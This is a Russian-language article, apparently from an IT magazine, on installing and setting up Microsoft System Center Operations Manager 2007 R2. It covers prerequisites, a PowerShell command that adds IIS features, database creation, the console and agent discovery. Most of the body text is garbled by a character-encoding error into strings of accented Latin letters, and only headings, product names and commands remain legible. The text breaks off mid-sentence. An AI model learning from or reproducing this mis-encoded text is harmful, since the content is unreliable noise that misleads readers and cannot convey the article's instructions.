ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ, ÓÁË É ÒËÏÐÉÑÏÃÁÃ ÆÄÏ, Ò ÅÑÔÄÉÍ ÉÍÆÎÆÍ.
³ÁËÇÆ SCOM ÒÓÑÏÉÓ ÄÑÁÕÉËÉ ÈÁÄÑÔÇÆÎÎÏÒÓÉ É ÐÏÈÃÏÌàÆÓ ÍÏÅÆÌÉ-
ÑÏÃÁÓÝ ÃÏÈÎÉËÎÏÃÆÎÉÆ ÐÑÏÂÌÆÍ. ²ÆÑÃÆÑ ÏÓØÆÓÎÏÒÓÉ (Reporting 
Server), ÔÒÓÁÎÁÃÌÉÃÁÆÍÜÊ ËÁË ÅÏÐÏÌÎÉÓÆÌÝÎÜÊ ËÏÍÐÏÎÆÎÓ, ÐÑÆÅÏ-
ÒÓÁÃÌàÆÓ ÙÉÑÏËÉÊ ÕÔÎË×ÉÏÎÁÌ Ã ÐÏÒÓÑÏÆÎÉÉ ÑÁÈÌÉØÎÜÖ ÏÓØÆÓÏÃ. 
«ÑÏÍÆ ÞÓÏÄÏ ÐÑÉ ÑÁÈÃÆÑÓÜÃÁÎÉÉ OpsMgr ÅÏÒÓÔÐÆÎ ÉÎÒÓÑÔÍÆÎÓ — 
Audit Collection Services (ACS), ÐÏÈÃÏÌàßÚÉÊ ÖÑÁÎÉÓÝ É ÁÎÁÌÉÈÉÑÏ-
ÃÁÓÝ ÌÏÄÉ ÒÏÂÜÓÉÊ ÂÆÈÏÐÁÒÎÏÒÓÉ.
£ SCOM ÑÆÁÌÉÈÏÃÁÎÁ ÄÉÂËÁà ÒÉÒÓÆÍÁ ÑÏÌÆÊ, Ã ËÏÓÏÑÏÊ ÐÏÌÝÈÏ-
ÃÁÓÆÌÉ ÐÏÌÔØÁßÓ ÌÉÙÝ ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÎÆÏÂÖÏÅÉÍÜÆ ÐÑÁÃÁ ÎÁ 
ÔÐÑÁÃÌÆÎÉÆ ÉÌÉ ÐÏÌÔØÆÎÉÆ ÅÁÎÎÜÖ. £ ÎÁÒÓÏàÚÆÆ ÃÑÆÍà ÁËÓÔÁÌÝ-
ÎÏÊ àÃÌàÆÓÒà ÃÆÑÒÉà SCOM 2007 R2, Ã ËÏÓÏÑÏÊ ÔÌÔØÙÆÎ ÉÎÓÆÑÕÆÊÒ, 
ÐÑÏ×ÆÅÔÑÁ ÉÍÐÏÑÓÁ ÍÏÅÔÌÆÊ, ÉÒÐÏÌÝÈÔßÓÒà ÎÏÃÜÆ ÙÁÂÌÏÎÜ, 
ÃÒÓÑÏÆÎÁ ÐÏÅÅÆÑÇËÁ Linux/Unix É ÍÎÏÄÏÆ ÅÑÔÄÏÆ. 

Установка SCOM
°ÑÏ×ÆÅÔÑÔ à ÂÜ ÎÆ ÎÁÈÃÁÌ ÒÃÆÑÖÒÌÏÇÎÏÊ, ÎÏ ÔØÉÓÜÃÁà ÍÎÏÄÏØÉÒ-
ÌÆÎÎÜÆ ÈÁÃÉÒÉÍÏÒÓÉ, ÉÎÏÄÅÁ ÎÆ ÑÁÈÑÔÌÉÃÁßÚÉÆÒà ÁÃÓÏÍÁÓÉØÆÒËÉ, 
Ã ÆÆ ÐÑÏ×ÆÒÒÆ ÐÑÏÒÓÏ ÒÌÆÅÔÆÓ ÂÜÓÝ ÃÎÉÍÁÓÆÌÝÎÆÆ. £ ÓÏÍ ÒÍÜÒÌÆ, 
ØÓÏ ÌÉÖÏ ÎÁÇÉÍÁà ËÌÁÃÉÙÔ Next, ÐÏÌÔØÉÓÝ ÎÁ ÃÜÖÏÅÆ ÑÁÂÏÓÏ-
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ÒÐÏÒÏÂÎÜÊ SCOM ÃÆÒÝÍÁ ÍÁÌÏÃÆÑÏàÓÎÏ — ÐÏ ÖÏÅÔ ÐÏÓÑÆÂÔÆÓÒà 
ÅÏÔÒÓÁÎÏÃËÁ ËÏÍÐÏÎÆÎÓÏÃ, ÂÁÄÕÉËÒÏÃ É ÒÆÑÃÉÒÐÁËÏÃ. °ÑÉØÆÍ 
ÂÜÃÁÆÓ É ÓÁË, ØÓÏ ÃÒÆ ÃÑÏÅÆ ÂÜ ÆÒÓÝ, Á ÎÆ ÑÁÂÏÓÁÆÓ… £ÆÑÏàÓÎÏ, ÞÓÏ 
ÐÑÏÉÒÖÏÅÉÓ ÉÈ-ÈÁ ÓÏÄÏ, ØÓÏ OpsMgr ÃÜÙÆÌ ÐÆÑÆÅ Win2k8 É ÉÈÎÁ-
ØÁÌÝÎÏ ÎÆ ÐÏÅÅÆÑÇÉÃÁÌ ÎÏÃÔß ÏÒÝ, Á ÃÒÆ ÐÑÏÂÌÆÍÜ ÒÏÃÍÆÒÓÉÍÏÒÓÉ 
ÑÉÖÓÏÃÁÌÉÒÝ ÐÑÉ ÐÏÍÏÚÉ ÒÆÑÃÉÒÐÁËÏÃ (R2 ÃÜÙÆÌ Ã 2009 ÄÏÅÔ). °Ï 
ÞÓÏÊ ÐÑÉØÉÎÆ ÐÆÑÆÅ ÎÁØÁÌÏÍ ÔÒÓÁÎÏÃËÉ SCOM ÒÌÆÅÔÆÓ ÎÁËÁÓÉÓÝ 
(ÒÏÄÌÁÒÆÎ, ÐÆÑÆÅ ÓÁËÉÍÉ ÅÆÌÏÍ ÃÒÆÄÅÁ ÒÌÆÅÔÆÓ ÎÁËÁÓÉÓÝ — ÐÑÉÍ. 
ÑÆÅ.) Ã ̄ ² ÃÒÆ ÏÂÎÏÃÌÆÎÉà.
¥Ìà ÑÁÂÏÓÜ ÒÆÑÃÆÑÎÏÊ ØÁÒÓÉ ÎÁÍ ÐÏÎÁÅÏÂÉÓÒà ËÏÍÐÝßÓÆÑ (CPU 
ÏÓ 2,8 ¤¤×, RAM ÏÓ 4 ¤¢) ÐÏÅ ÔÐÑÁÃÌÆÎÉÆÍ Win2k3/2k8/R2, MS 
SQL Server ÃÍÆÒÓÆ ÒÏ ÒÌÔÇÂÏÊ ÏÓØÆÓÏÃ MS SQL Server (Reporting 
Services) ÐÌßÒ ÎÆÒËÏÌÝËÏ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÑÏÌÆÊ É ËÏÍÐÏÎÆÎÓÏÃ. £ 
ØÁÒÓÎÏÒÓÉ ÏÂàÈÁÓÆÌÝÎÁ ÑÏÌÝ Web Server (IIS). £ÁÇÎÏ: SCOM 2007 R2 
ÏÕÉ×ÉÁÌÝÎÏ ÎÆ ÐÏÅÅÆÑÇÉÃÁÆÓ MS SQL 2008 SP2 É R2, ÓÏÌÝËÏ SQL 
2005 SP2 É SQL 2008 SP1. ®Ï ÍÆÇÅÔ «ÎÆ ÐÏÅÅÆÑÇÉÃÁÆÓ» É «ÂÔÅÆÓ 
ÑÁÂÏÓÁÓÝ» ÑÁÈÎÉ×Á ÏØÆÎÝ ÂÏÌÝÙÁà. £ ÔÒÓÁÎÏÃÏØÎÏÍ ËÏÍÐÌÆËÓÆ ÅÏ-
ÒÓÔÐÎÁ ÔÓÉÌÉÓÁ DBCreateWizard.exe, ËÏÓÏÑÁà ÐÏÍÏÇÆÓ ÒÏÈÅÁÓÝ ÎÔÇ-
ÎÜÆ ¢¥. ̈ ÁÓÆÍ Ã ÐÑÏ×ÆÒÒÆ ÔÒÓÁÎÏÃËÉ ÐÑÏÒÓÏ ÏÓËÌßØÁÆÍ Database É 
ÎÁ ÒÌÆÅÔßÚÆÍ ÞÓÁÐÆ ÔËÁÈÜÃÁÆÍ ÐÁÑÁÍÆÓÑÜ ¢¥ ÃÑÔØÎÔß. £ÐÑÏØÆÍ, 
ÁÃÓÏÍÁÓÏÍ ÓÁËÁà ÒÃàÈËÁ ÎÆ ÐÏÊÅÆÓ (ÒÍ. support.microsoft.com/
kb/2425714). ¥Á, ËÒÓÁÓÉ, ÎÆ ÈÁÂÔÅÝ ÏÓËÑÜÓÝ ÐÏÑÓÜ Ë SQL-ÒÆÑÃÆÑÔ Ã 
ÕÁÊÆÑÆ, ËÁË ÏÐÉÒÁÎÏ Ã clck.ru/E17g.
²ÐÉÒÏË ÃÒÆÖ ËÏÎÕÉÄÔÑÁ×ÉÊ ÐÑÉÃÆÅÆÎ ÐÏ ÁÅÑÆÒÔ clck.ru/DrGM, 
ÐÌßÒ Ã ËÏÍÐÌÆËÓÆ ÅÏÒÓÔÐÆÎ Prerequisite Viewer, ËÏÓÏÑÜÊ ÃÜÅÁÒÓ 
ÃÒß ÉÎÕÏÑÍÁ×Éß ËÁÒÁÓÆÌÝÎÏ ÓÏÄÏ, ØÓÏ ÎÔÇÎÏ, É ØÆÄÏ ÎÆ ÖÃÁÓÁÆÓ. 
«ÑÏÍÆ ÓÏÄÏ, ÎÔÇÎÜ ÒÐÆ×ÉÕÉØÆÒËÉÆ ÎÁÒÓÑÏÊËÉ ÅÌà ËÏÍÐÏÎÆÎÓÏÃ, 
ÃÑÏÅÆ ÔÒÓÁÎÏÃËÉ IIS Ã ÁÃÓÏÍÁÓÉØÆÒËÔß ÈÁÄÑÔÈËÔ. ³ÁË ØÓÏ ÐÆÑÆÅ 
ÔÒÓÁÎÏÃËÏÊ ÎÔÇÎÏ ÈÁÐÔÒËÁÓÝ, ÒÍÏÓÑÆÓÝ, ÔÒÓÑÁÎàÓÝ É ÐÑÏÃÆÑàÓÝ. £ 
ËÏÎÒÏÌÉ PowerShell ÅÏÒÓÁÓÏØÎÏ ÅÁÓÝ ËÏÍÁÎÅÔ:

> Import-Module ServerManager
> Add-WindowsFeature NET-Framework-Core,Web-Metabase,
Web-WMI,Web-Static-Content,Web-Default-Doc,Web-Dir-
Browsing,Web-Http-Errors,Web-Asp-Net,Web-Net-Ext,Web-
ISAPI-Ext,Web-ISAPI-Filter,Web-Filtering,Web-Windows-
Auth, Web-Mgmt-Console –r 

°ÌßÒ ÐÏÎÁÅÏÂÉÓÒà ASP.NET Ajax Extensions. ¦ÄÏ ËÁØÁÆÍ ÐÏ ÒÒÜÌËÆ 
clck.ru/DwEY É ÒÓÁÃÉÍ. «ÏÎÒÏÌÝ ÔÐÑÁÃÌÆÎÉà ÎÆ ÓÑÆÂÔÆÓ ÍÏÚÎÏÄÏ 
ËÏÍÐÝßÓÆÑÁ, Á Ã ËÁØÆÒÓÃÆ ̄ ² ÐÏÅÏÊÅÆÓ WinXP/Vista/7. «ÑÏÍÆ ÞÓÏÄÏ 
ÅÏÌÇÎÁ ÂÜÓÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÍ ÏÂÑÁÈÏÍ ÐÏÅÄÏÓÏÃÌÆÎÁ ÒÑÆÅÁ Active 
Directory (ÉÍà ÅÏÍÆÎÁ, ÒÌÔÇÂÁ DNS, ÔÑÏÃÆÎÝ ÅÏÍÆÎÁ ÎÆ ÎÉÇÆ 2000). 
¥Ìà ÁÅÍÉÎÉÒÓÑÁÓÉÃÎÜÖ ÈÁÅÁØ ÅÏ ÎÁØÁÌÁ ÔÒÓÁÎÏÃËÉ ÒÌÆÅÔÆÓ ÒÏÈÅÁÓÝ 
ÏÓÅÆÌÝÎÔß Global-ÄÑÔÐÐÔ É ÐàÓÝ ÃÖÏÅàÚÉÖ Ã ÎÆÆ ÔØÆÓÎÜÖ ÈÁÐÉÒÆÊ, 
ÅÃÆ ÉÈ ËÏÓÏÑÜÖ — Ò ÐÑÁÃÁÍÉ ÌÏËÁÌÝÎÏÄÏ ÁÅÍÉÎÉÒÓÑÁÓÏÑÁ.
«ÏÄÅÁ ÃÒÆ ÓÑÆÂÏÃÁÎÉà ÃÜÐÏÌÎÆÎÜ, ÈÁÐÔÒËÁÆÍ ÔÒÓÁÎÏÃÏØÎÜÊ ÕÁÊÌ. 
¯ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, ØÓÏ ÁÄÆÎÓÜ OpsMgr, ÍÏÅÔÌÝ ÒÏÈÅÁÎÉà ÏÓØÆÓÏÃ, 
ÒÆÑÃÆÑ ÒÂÏÑÁ ÁÔÅÉÓÁ É ÙÌßÈ OpsMgr ÔÒÓÁÎÁÃÌÉÃÁßÓÒà ÉÈ ÏÓÅÆÌÝ-
ÎÜÖ ÍÆÎß. 
®Á ÞÓÁÐÆ ÃÜÂÏÑÁ ËÏÍÐÏÎÆÎÓÏÃ ÔËÁÈÜÃÁÆÍ, ØÓÏ ÂÔÅÆÍ ÒÓÁÃÉÓÝ ÎÁ 
ÒÆÑÃÆÑ. ¥ÁÌÆÆ, ÆÒÌÉ ÔÒÓÁÎÏÃÚÉË ÎÆ ÏÂÎÁÑÔÇÉÌ SQL, ÃÃÏÅÉÍ ÆÄÏ 
ÅÁÎÎÜÆ É ÉÍà ¢¥. °ÏÒÌÆ ØÆÄÏ ÈÁÅÁÆÍ ÅÁÎÎÜÆ ÔØÆÓÎÏÊ ÈÁÐÉÒÉ ÅÌà 
Management Server Action Account, ÏÓ ÉÍÆÎÉ ËÏÓÏÑÏÊ ÃÜÐÏÌÎàßÓÒà 
ÏÒÎÏÃÎÜÆ ÏÐÆÑÁ×ÉÉ É SDK and Config Service Account. °ÏÒÌÆ ØÆÄÏ 
ÔËÁÈÜÃÁÆÍ ÍÆÓÏÅ ÐÑÏÃÆÑËÉ ÐÏÅÌÉÎÎÏÒÓÉ ÃÆÂ-ËÏÎÒÏÌÉ. °ÑÆÅÌÁÄÁÆ-
ÍÔß ÐÏ ÔÍÏÌØÁÎÉß ÐÑÏÃÆÑËÔ ÐÏÅÌÉÎÎÏÒÓÉ Windows ÒÌÆÅÔÆÓ ÏÒÓÁ-
ÃÉÓÝ, ÆÒÌÉ ÅÏÒÓÔÐ Ë ÎÆÊ ÂÔÅÆÓ ÓÏÌÝËÏ ÉÈ ÃÎÔÓÑÆÎÎÆÊ ÒÆÓÉ; ÆÒÌÉ ÇÆ Ë 
ÃÆÂ-ËÏÎÒÏÌÉ ÂÔÅÔÓ ÏÂÑÁÚÁÓÝÒà ØÆÑÆÈ ÉÎÓÆÑÎÆÓ, ÔÒÓÁÎÏÃÉ ÕÌÁÇÏË 
«©ÒÐÏÌÝÈÏÃÁÓÝ ÐÑÏÃÆÑËÔ ÐÏÅÌÉÎÎÏÒÓÉ» Ò ÐÏÍÏÚÝß ÕÏÑÍ.
© ÎÁ ÐÏÒÌÆÅÎÆÍ ÙÁÄÆ ÃËÌßØÁÆÍ ÏÂÎÏÃÌÆÎÉÆ. °Ï ÏËÏÎØÁÎÉÉ ÏÂà-

В поставке SCOM содержится более 48 Management Pack
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ÈÁÓÆÌÝÎÏ ÒÏÈÅÁÆÍ ÁÑÖÉÃÎÔß ËÏÐÉß ËÌßØÁ, ÐÑÉ ÐÏÍÏÚÉ ËÏÓÏÑÏÄÏ 
ÙÉÕÑÔßÓÒà ÅÁÎÎÜÆ, ÈÅÆÒÝ ÏÓËÁÈÜÃÁÓÝÒà ÎÆ ÒÓÏÉÓ. °ÑÏ×ÆÒÒ ÐÑÏÒÓ, 
ÐÏÒÌÆ ÁËÓÉÃÁ×ÉÉ ÐÏàÃÉÓÒà ÐÑÏÒÓÏÊ ÃÉÈÁÑÅ, Ã ËÏÓÏÑÏÍ ÒÌÆÅÔÆÓ 
ÔËÁÈÁÓÝ ÉÍà ÕÁÊÌÁ É ÐÁÑÏÌÝ ÅÌà ÅÏÒÓÔÐÁ. 
¡ÎÁÌÏÄÉØÎÏ ÐÑÏÒÓÏ ÅÏÔÒÓÁÎÁÃÌÉÃÁÆÓÒà ÍÏÅÔÌÝ ÒÏÈÅÁÎÉà ÏÓØÆÓÏÃ 
(Datawarehouse É Reporting Server), ÒÆÑÃÆÑ ACS É ËÏÎÒÏÌÝ ÔÐÑÁÃ-
ÌÆÎÉà (ÎÁ ÁÅÍÉÎÒËÏÍ ËÏÍÐÆ). 
³ÆÐÆÑÝ ÍÏÇÎÏ ÑÆÄÉÒÓÑÉÑÏÃÁÓÝÒà Ã ËÏÎÒÏÌÉ ÉÌÉ ÉÒÐÏÌÝÈÔà ÃÆÂ-
ÉÎÓÆÑÕÆÊÒ (ÐÏ ÔÍÏÌØÁÎÉß — ÐÏÑÓ 51908). 

Первоначальные задачи 
настройки
«ÏÎÒÏÌÝ ÔÐÑÁÃÌÆÎÉà ÏÑÄÁÎÉÈÏÃÁÎÁ ËÌÁÒÒÉØÆÒËÉ, Ã ÒÓÉÌÆ ÏÔÓÌÔËÁ. 
²ÌÆÃÁ ÎÁÖÏÅÉÓÒà ÐàÓÝ ÃËÌÁÅÏË, ÐÑÉ ÐÏÍÏÚÉ ËÏÓÏÑÜÖ ÃÜÂÉÑÁßÓ-
Òà ÏÒÎÏÃÎÜÆ ÈÁÅÁØÉ, — Monitoring, Authoring, Administration, 
Reporting É My Workspace. ®ÁÈÎÁØÆÎÉÆ ÉÖ ÏØÆÃÉÅÎÏ. ®ÁÉÂÏÌÆÆ 
ØÁÒÓÏ ÉÒÐÏÌÝÈÔÆÍÜÆ ÕÔÎË×ÉÉ, ØÓÏÂÜ ÅÏÌÄÏ ÉÖ ÎÆ ÉÒËÁÓÝ, ÍÏÇÎÏ ÒÏ-
ÂÉÑÁÓÝ Ã My Workspace. °ÑÉ ÃÜÂÏÑÆ ÌßÂÏÄÏ ÐÔÎËÓÁ ÃÜÙÆ ÏÓËÑÏßÓ-
Òà ÅÏÒÓÔÐÎÜÆ ÐÁÑÁÍÆÓÑÜ. £ÒÆ ÒÏÂÜÓÉà ÃÜÃÏÅàÓÒà Ã ÐÏÌÆ ÐÏÒÆÑÆ-
ÅÉÎÆ, ÐÑÁÃÏÆ ÍÆÎß ÐÏÈÃÏÌàÆÓ ÃÜÐÏÌÎÉÓÝ ÏÐÑÆÅÆÌÆÎÎÜÆ ÅÆÊÒÓÃÉà. 
²ÏÃÆÓÔß ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ÐÏÓÑÁÓÉÓÝ ÎÁ ÉÈÔØÆÎÉÆ ËÏÎÒÏÌÉ É 
ÑÁÈÏÂÑÁÓÝÒà Ò ÔÒÓÁÎÏÃËÁÍÉ ÐÏ ÔÍÏÌØÁÎÉß. £ÆÂ-ËÏÎÒÏÌÝ ÒÏÅÆÑÇÉÓ 
ÓÏÌÝËÏ ÅÃÆ ÃËÌÁÅËÉ: Monitoring É My Workspace É ÐÑÆÅÏÒÓÁÃÌàÆÓ, 
ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ, ÍÆÎÝÙÔß ÕÔÎË×ÉÏÎÁÌÝÎÏÒÓÝ.
²ÐÉÒÏË ÃÒÆÖ ÅÏÒÓÔÐÎÜÖ ËÏÍÁÎÅÌÆÓÏÃ PS ÍÏÇÎÏ ÐÏÌÔØÉÓÝ, ÃÃÆÅà 
«Get-OperationManagerCommand». ®ÁÐÑÉÍÆÑ, ØÓÏÂÜ ÐÏÌÔØÉÓÝ 
ÒÐÉÒÏË ÃÒÆÖ ÒÆÑÃÆÑÏÃ ÔÐÑÁÃÌÆÎÉà, ÃÃÏÅÉÍ ËÏÍÁÎÅÔ:
PS> Get-managementServer

°ÏÒÌÆ ÔÒÓÁÎÏÃËÉ ÍÏÇÎÏ ÐÑÏÃÆÑÉÓÝ ÒÏÒÓÏàÎÉÆ ÒÆÑÃÆÑÁ ÔÐÑÁÃÌÆÎÉà. 
¥Ìà ÞÓÏÄÏ ÐÆÑÆÖÏÅÉÍ Ã Monitoring É ÃÜÂÉÑÁÆÍ ÒÒÜÌËÔ Windows 
Computer ÉÌÉ Operations Manager — ²ÆÑÃÆÑ ÔÐÑÁÃÌÆÎÉà. ²ÏÒÓÏà-
ÎÉÆ ÅÏÌÇÎÏ ÂÜÓÝ ÐÏËÁÈÁÎÏ ËÁË Healthy. ºÆÌØÏË ÐÏ ÅÁÎÎÜÍ ÒÆÑÃÆÑÁ 
ÃÜÃÆÅÆÓ ÅÏÐÏÌÎÉÓÆÌÝÎÔß ÒÓÑÏËÔ Ò ÂÏÌÆÆ ÐÏÅÑÏÂÎÜÍ ÏÐÉÒÁÎÉÆÍ. 
£Ï ÃËÌÁÅËÆ Monitoring ÓÁËÇÆ ÐÏËÁÈÜÃÁßÓÒà ÃÒÆ ÓÆËÔÚÉÆ ÐÑÆÅÔÐÑÆ-
ÇÅÆÎÉà (alerts), ÅÉÁÄÑÁÍÍÜ, ÈÁÅÁØÉ, ÐÑÉÌÏÇÆÎÉà, ÔÒÓÑÏÊÒÓÃÁ É 
ÓÁË ÅÁÌÆÆ. £ ÏÂÚÆÍ, ÃÒÆ, ØÓÏ ÒÃàÈÁÎÏ Ò ÍÏÎÉÓÏÑÉÎÄÏÍ, ÍÜ ÎÁÊÅÆÍ 
ÈÅÆÒÝ. °ÑÉ ÃÜÂÏÑÆ ËÏÎËÑÆÓÎÏÄÏ ÐÔÎËÓÁ Ã ÐÏÌÆ Actions ÐÏËÁÈÜÃÁ-
ßÓÒà ÃÏÈÍÏÇÎÜÆ ÅÆÊÒÓÃÉà É ÒÃàÈÁÎÎÁà ÒÐÑÁÃËÁ. ±ÆÁÌÉÈÏÃÁÎÜ ÃÒÆ 
ÎÆÏÂÖÏÅÉÍÜÆ ÉÎÒÓÑÔÍÆÎÓÜ — ÐÏÉÒË, ÕÉÌÝÓÑ ÐÏ ÃÑÆÍÆÎÉ É ÏÓÏÂÑÁ-
ÇÆÎÉÆ ÉÈÃÆÒÓÎÏÄÏ ÏÂÛÆËÓÁ. 
¦ÚÆ ÏÅÉÎ ÍÏÍÆÎÓ. °ÑÉ ÃÜÂÏÑÆ ÏÒÎÏÃÎÏÊ ÈÁÅÁØÉ Ã ÐÏÌÆ Required 
Configuration Tasks ÐÏËÁÈÜÃÁÆÓÒà ÒÐÉÒÏË ÑÆËÏÍÆÎÅÔÆÍÜÖ ÅÁÌÝ-

ÎÆÊÙÉÖ ÏÐÆÑÁ×ÉÊ. £ÜÂÉÑÁà ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏ ÐÔÎËÓÜ É ÒÌÆÅÔà 
ÐÏÅÒËÁÈËÁÍ, ÍÏÇÎÏ ÂÜÒÓÑÏ ÎÁÒÓÑÏÉÓÝ ÒÑÆÅÔ ÍÏÎÉÓÏÑÉÎÄÁ, ÎÆ ÏÒÏÂÏ 
ÃØÉÓÜÃÁàÒÝ Ã ÅÏËÔÍÆÎÓÁ×Éß.
¦ÒÌÉ ÏÂÒÌÔÇÉÃÁÆÓÒà ÎÆÒËÏÌÝËÏ ÅÏÍÆÎÏÃ, ÎÁÒÓÑÁÉÃÁÆÍ ÉÎÓÆÄÑÁ-
×Éß Ò Active Directory, ÅÌà ÞÓÏÄÏ ÃÜÂÉÑÁÆÍ ÒÒÜÌËÔ Configure Active 
Directory (AD) Integration Ã ÐÏÌÆ Optional Configuration. ¥ÁÌÆÆ 
ÒÓÁÑÓÔÆÓ ÍÁÒÓÆÑ, Ã ËÏÓÏÑÏÍ É ÔËÁÈÜÃÁÆÍ ÎÔÇÎÜÆ ÅÏÍÆÎÜ.
±ÆËÏÍÆÎÅÔÆÓÒà ÔÒÓÁÎÁÃÌÉÃÁÓÝ ÁÄÆÎÓÜ ÎÁ ÔÅÁÌÆÎÎÜÖ ÒÉÒÓÆÍÁÖ ÐÑÉ 
ÐÏÍÏÚÉ ËÏÎÒÏÌÉ. ®Ï Ã ÒÌÔØÁÆ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏ-
ÃÁÓÝ ÌÏËÁÌÝÎÔß ÔÒÓÁÎÏÃËÔ ÐÑÉ ÐÏÍÏÚÉ ÉÎÒÓÁÌÌà×ÉÏÎÎÏÄÏ ÅÉÒËÁ 
SCOM É ÅÑÔÄÉÆ ÃÁÑÉÁÎÓÜ ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà (ÄÑÔÐÐÏÃÜÆ ÐÏÌÉÓÉËÉ, 
ÃÎÆÅÑÉÓÝ Ã ÏÂÑÁÈ É Ó.Ð.). 
©ÓÁË, ÐÆÑÆÖÏÅÉÍ Ã Administration É ÃÜÈÜÃÁÆÍ ËÏÎÓÆËÒÓÎÏÆ ÍÆÎß. 
²ÏÂÒÓÃÆÎÎÏ ÂÏÌÝÙÔß ØÁÒÓÝ ÏÐÆÑÁ×ÉÊ ÐÏ ÁÅÍÉÎÉÒÓÑÉÑÏÃÁÎÉß 
ÍÏÇÎÏ ÐÑÏÉÈÃÆÒÓÉ, ÃÜÂÉÑÁà ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏ ÐÔÎËÓÜ ÞÓÏÄÏ 
ËÏÎÓÆËÒÓÎÏÄÏ ÍÆÎß (ÐÆÑÆÍÆÚÁàÒÝ ÐÏ ÎÆÍÔ ÒÃÆÑÖÔ ÃÎÉÈ). ̈ ÅÆÒÝ 
ÉÍÆÆÓÒà ÏËÏÌÏ ÅÆÒàÓËÁ ÐÔÎËÓÏÃ, ÐÏÈÃÏÌàßÚÉÖ ÑÁÈÃÆÑÎÔÓÝ ÁÄÆÎÓÏÃ, 
ÒÏÈÅÁÓÝ/ÒËÁØÁÓÝ/ÉÍÐÏÑÓÉÑÏÃÁÓÝ ÐÁËÆÓ ÔÐÑÁÃÌÆÎÉà, ÒÏÈÅÁÓÝ ÎÏÃÔß 
ÑÏÌÝ ÐÏÌÝÈÏÃÁÓÆÌà, ËÁÎÁÌ, ÐÏÅÐÉÒËÔ, ÅÏÂÁÃÉÓÝ ÄÑÔÐÐÔ ÔÐÑÁÃÌÆÎÉà 
É ÎÆËÏÓÏÑÜÆ ÅÑÔÄÉÆ. 
¥Ìà ÔÒÓÁÎÏÃËÉ ÁÄÆÎÓÁ ÃÜÂÉÑÁÆÍ ÐÆÑÃÜÊ ÐÔÎËÓ — Discovery 
Wizard. £ ÑÆÈÔÌÝÓÁÓÆ ÎÁÙÉÖ ÎÆÖÉÓÑÜÖ ÅÆÊÒÓÃÉÊ ÐÏàÃÉÓÒà ÍÁ-
ÒÓÆÑ, ÐÏÈÃÏÌàßÚÉÊ ÎÁÊÓÉ ÎÔÇÎÜÆ ÔÒÓÑÏÊÒÓÃÁ. ®Á ÐÆÑÃÏÍ ÙÁÄÆ 
ÏÐÑÆÅÆÌàÆÍÒà Ò ÓÉÐÏÍ ËÏÍÐÝßÓÆÑÏÃ (Windows, Linux ÉÌÉ ÒÆÓÆÃÏÆ 
ÔÒÓÑÏÊÒÓÃÏ), ÈÁÓÆÍ ÔËÁÈÜÃÁÆÍ, ËÁË ÉÒËÁÓÝ (ÁÃÓÏÍÁÓÉØÆÒËÉ ÉÌÉ 
«ÐÑÏÅÃÉÎÔÓÜÍ» ÒÐÏÒÏÂÏÍ). °ÑÉ ÁÃÓÏÍÁÓÉØÆÒËÏÍ ÒÐÏÒÏÂÆ ÍÁÒÓÆÑ 
ÐÑÏÒËÁÎÉÑÔÆÓ ÃÒÆ ËÏÍÐÝßÓÆÑÜ ÅÏÍÆÎÁ. ³ÆÐÆÑÝ ÈÁÅÁÆÍ ÅÏÐÏÌÎÉ-
ÓÆÌÝÎÜÆ ËÑÉÓÆÑÉÉ ÐÏÉÒËÁ (ÙÁÂÌÏÎ ÉÍÆÎÉ, ÑÏÌÝ É Ó.Ð.), ÃÜÂÉÑÁÆÍ 
ÔØÆÓÎÔß ÈÁÐÉÒÝ, ÏÓ ÉÍÆÎÉ ËÏÓÏÑÏÊ ÂÔÅÆÓ ÐÑÏÉÈÃÏÅÉÓÝÒà ÐÏÉÒË, É 
ÎÁÇÉÍÁÆÍ Discovery. °Ï ÏËÏÎØÁÎÉÉ ÐÑÏ×ÆÒÒÁ ÏÓÂÉÑÁÆÍ ÏÂÛÆËÓÜ 
É ÔËÁÈÜÃÁÆÍ ÑÆÇÉÍ (agent ÉÌÉ agentless) É, ÐÆÑÆÖÏÅà Ë ÒÌÆÅÔß-
ÚÆÍÔ ÙÁÄÔ, ÔÒÓÁÎÁÃÌÉÃÁÆÍ ÁÄÆÎÓÜ. ́ ÒÓÁÎÁÃÌÉÃÁÆÍÜÆ ÁÄÆÎÓÜ, Á 
ÓÁËÇÆ ÁÄÆÎÓÜ, ÓÑÆÂÔßÚÉÆ ÏÂÎÏÃÌÆÎÉà ÉÌÉ ÎÆ ÑÁÒÐÑÆÅÆÌÆÎÎÜÆ, 
ÐÏàÃÌàßÓÒà Ã ÐÏÅÍÆÎß Pending Management. ̈ ÁÓÆÍ, ÐÏ ÏËÏÎØÁ-
ÎÉÉ (ÉÌÉ ÐÏÒÌÆ ÏÂÎÏÃÌÆÎÉà), ÏÎÉ ÁÃÓÏÍÁÓÉØÆÒËÉ ÐÆÑÆÎÏÒàÓÒà Ã 
Agent Management, ÄÅÆ Ã ÐÏÒÌÆÅÔßÚÆÍ ÍÏÇÎÏ ÏÓÒÌÆÇÉÃÁÓÝ ÆÄÏ 
ÒÏÒÓÏàÎÉÆ. 
°ÏÒÌÆ ÔÒÓÁÎÏÃËÉ ÁÄÆÎÓ ËÁÇÅÜÆ 60 ÒÆËÔÎÅ ÏÓÒÜÌÁÆÓ ÐÁËÆÓ ÅÁÎÎÜÖ ÎÁ 
ÒÆÑÃÆÑ, ÅÏÐÔÒËÁÆÓÒà ÐÑÏÐÔÒË ÓÑÆÖ ÓÁËÉÖ ÐÁËÆÓÏÃ, ÐÏÒÌÆ ØÆÄÏ ÒÆÑ-
ÃÆÑ ÐÜÓÁÆÓÒà ÒÃàÈÁÓÝÒà Ò ËÏÍÐÝßÓÆÑÏÍ, É Ã ÒÌÔØÁÆ ÎÆÔÅÁØÉ ÍÆÎàÆÓ 
ÆÄÏ ÒÓÁÓÔÒ. °ÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÁÅÍÉÎÉÒÓÑÁÓÏÑ ÍÏÇÆÓ ÎÁÒÓÑÏÉÓÝ 

